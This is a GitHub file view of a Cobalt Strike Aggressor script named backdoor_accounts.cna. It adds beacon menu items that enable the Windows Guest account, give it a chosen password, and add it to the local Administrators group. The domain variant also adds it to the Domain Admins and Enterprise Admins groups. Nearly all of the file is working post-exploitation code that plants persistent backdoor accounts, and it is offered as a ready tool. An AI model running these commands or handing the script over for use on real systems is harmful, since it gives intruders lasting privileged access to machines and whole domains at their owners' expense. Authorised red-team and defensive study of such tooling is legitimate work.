forked from michalkoczwara/aggressor_scripts_collection
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathbackdoor_accounts.cna
44 lines (30 loc) · 1.52 KB
/
backdoor_accounts.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
popup beacon_bottom {
menu "Backdoor Accounts" {
item "Guest Acct Local Admin (L)" {
prompt_text("Choose a password for the Guest account", "SuperDuperPassword1", lambda({
#enable account
bshell(@ids, 'net user guest /active:yes');
#add guest to local administrators group
bshell(@ids, 'net localgroup administrators guest /add');
#set guest's password to provided value
bshell(@ids, "net user guest $1 ");
blog(@ids, "Enabling Guest account, adding to local admin group, and setting password to $1 ")
}, @ids => $1));
}
item "Guest Acct Local Admin (D)" {
prompt_text("Choose a password for the Guest account", "SuperDuperPassword1", lambda({
#enable account
bshell(@ids, 'net user guest /active:yes /domain');
#add guest to local administrators group
bshell(@ids, 'net localgroup administrators guest /add /domain');
#add guest to Enterprise Admins group
bshell(@ids, 'net group "Enterprise Admins" guest /add /domain');
#add guest to Domain Admins group
bshell(@ids, 'net group "Domain Admins" guest /add /domain');
#set guest's password to provided value
bshell(@ids, "net user guest $1 /domain");
blog(@ids, "Enabling Guest account, adding to local admin, Domain Admins, and Enterprise Admins groups, and setting password to $1 ");
}, @ids => $1));
}
}
}